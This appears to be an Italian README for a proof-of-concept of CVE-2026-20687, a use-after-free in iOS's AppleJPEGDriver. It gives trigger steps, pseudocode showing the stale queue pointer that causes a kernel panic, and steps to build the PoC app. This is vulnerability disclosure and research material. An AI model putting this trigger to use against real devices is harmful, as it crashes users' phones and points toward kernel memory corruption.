CVE-2026-20687: UAF da timeout in startDecoder() di AppleJPEGDriver (panic differito)

CVE-2026-20687 | Autore: Johnny Franks (@0xjohnny)

Componente: Kernel

Impatto: Un'app potrebbe causare una terminazione imprevista del sistema o scrivere nella memoria del kernel

Descrizione: Un problema di use after free è stato risolto con una migliore gestione della memoria.

— Apple Security Content, iOS 26.4 e iPadOS 26.4

Questo causerà un kernel panic sul tuo dispositivo. Salva il tuo lavoro.

Testato su iOS 26.3 (23D125) su iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

Trigger

Trigger diretto:

1. Esegui il PoC e tocca Panic (predispone il driver / accoda lavoro asincrono).
2. Poi apri Camera (questo causa in modo affidabile un decode JPEG sincrono + timeout sulla build interessata).
3. Il percorso di timeout libera una richiesta ma lascia il suo puntatore al nodo di coda incorporato nel vettore per-codec.
4. Una successiva scansione della coda dereferenzia il nodo obsoleto e il kernel va in panic (fault di controllo tag MTE).

// PoC: predispone il driver; il panic è solitamente differito fino all'apertura di Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Successivamente, l'apertura di Camera attiva:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG: NON rimuove dalla coda (req + 0x78)

// Ancora più tardi (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // obsoleto: node_ptr == (req liberata + 0x78)
  req2 = *(node_ptr + 0x8);              // lettura UAF di req+0x80 -> fault tag MTE -> panic

Compilazione ed esecuzione

1. Apri ios-app/Test.xcodeproj in Xcode
2. Seleziona il tuo dispositivo iOS (il simulatore non è utile)
3. Compila ed esegui
4. Tocca il pulsante Panic
5. Apri l'app Camera per attivare il panic differito